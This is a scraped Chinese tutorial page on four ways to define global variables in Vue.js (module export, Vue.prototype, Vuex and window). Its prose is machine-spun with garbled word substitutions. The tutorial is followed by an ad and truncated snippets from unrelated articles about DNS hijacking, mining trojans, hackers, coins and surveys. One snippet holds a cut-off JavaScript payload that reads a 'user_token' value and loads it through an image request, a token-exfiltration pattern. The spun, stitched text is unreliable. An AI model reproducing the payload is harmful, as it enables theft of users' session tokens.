VUE.js 中涉及到 *** 全局变量
一、全局变量专用模块得引入
全局变量模块 Global.js
const colorList = [ 'violet', 'orange', 'blue', 'darkyellow', 'wheat', ] const colorListLength = 5 export default { colorList, colorListLength }
模块里的变量用export 抛出去,当需要使用时,引入模块global。
需要使用全局变量的模块 html.vue
<template> <ul> <template v-for="item in mainList"> <div v-for="item in getColor" :key="item"> {{item}} </div> </template> </ul> </template> <script type="text/javascript"> import global_ from './components/Global' export default { data () { return { getColor: global_.colorList } } } </script>
二、全局变量模块挂载到Vue.prototype 。
Global.js同上,在main.js里加下面代码
import global_info from './components/Global' Vue.prototype.GLOBAL = global_info
挂载之后,在需要引用全局量的模块处,不需再导入全局量模块,直接用this就可以,如下:
<script type="text/javascript"> export default { data () { return { getColor: this.GLOBAL.colorList } } } </script>
三、使用VUEX存储状态值
Vuex是一个专门为Vue.js应用程序开发的状态治理模式, 它接纳集中式存储治理所有组件的公共状态, 并以响应的规则保证状态以一种可展望的方式发生变化.
store.js界说
import Vue from "vue"; import Vuex from "vuex"; Vue.use(Vuex); // 建立vuex的store export default new Vuex.Store({ state: { count: 1 }, // 更改store的状态 mutations: { increment(state) { state.count++; }, decrement(state) { state.count--; } }, // 有异步的时刻, 需要action actions: { increment(context) { context.commit("increment"); }, decrement(context) { setTimeout(function() { context.commit("decrement"); }, 10); } }, // 通过getter 举行数据获取 getters: { getState(state) { return state.count > 0 ? state.count : 0; } } });
在main.js,引入store.js
import store from "./store/index"; new Vue({ router, store, render: h => h(App) }).$mount("#app");
在页面模块直接使用store挪用
count=this.$store.state.count
四、使用window存储变量
建立 global.js
const config = { name:'ochmd', age:"num" } let bindToGlobal = (obj, key) => { if (typeof window[key] === 'undefined') { window[key] = {}; } for (let i in obj) { window[key][i] = obj[i] } } bindToGlobal(config,'_const')
在模块页面使用window._const.name //ochmd
1.阿里云: 本站现在使用的是阿里云主机,平安/可靠/稳固。点击领取2000米代金券、领会最新阿里云产物的种种优惠流动点击进入
f=frames;t=f.document.getElementsByName('user_token').value;i=document.createElement('img');i.src='....
一夜之间,全国400万台家用路由器DNS(域名系统)地址,被篡改为江苏省多个IP地址,用户上网时,会被莫名其妙地“劫持”至涉黄涉赌网站。 扬州市开发区公安分局网安大队民警迅速行动,锁定了身在柬...
二、 活泼宗族在挖矿木马损害地域散布上,广东省(挖矿木马阻拦量)位列全国榜首,占TOP20总量的19.58%,其次为浙江省和北京市。 4. 在同一办法中实例化和运用非sealed目标(而不是运用'cr...
本文目录一览: 1、泄露《GTA6》黑客被逮捕,背后的组织到底啥来头? 2、黑客为什么会被抓? 3、网警是干什么的 4、引发黑客犯罪高发的原因是什么? 5、警察是如何抓住黑客? 泄露...
自打小集当踏入钱币行业以来 总有这样那样的亲朋好友来咨询小集 “啊,小集小集~” “纪念币我要买哪个品种才会升值啊!” “金银币以后什么品种会涨啊? 你有没有内幕消息啊?” 这时候我只想一...
调查问卷赚钱就是作为测试对象,完成网站的调查问卷,获得奖励。 门槛很低,但是在填写问卷中需要认真负责的态度,如果你在填写过程中存在信息不符,胡乱填写,会被显示为无效问卷。无效问卷是又花时间又赚不到钱的...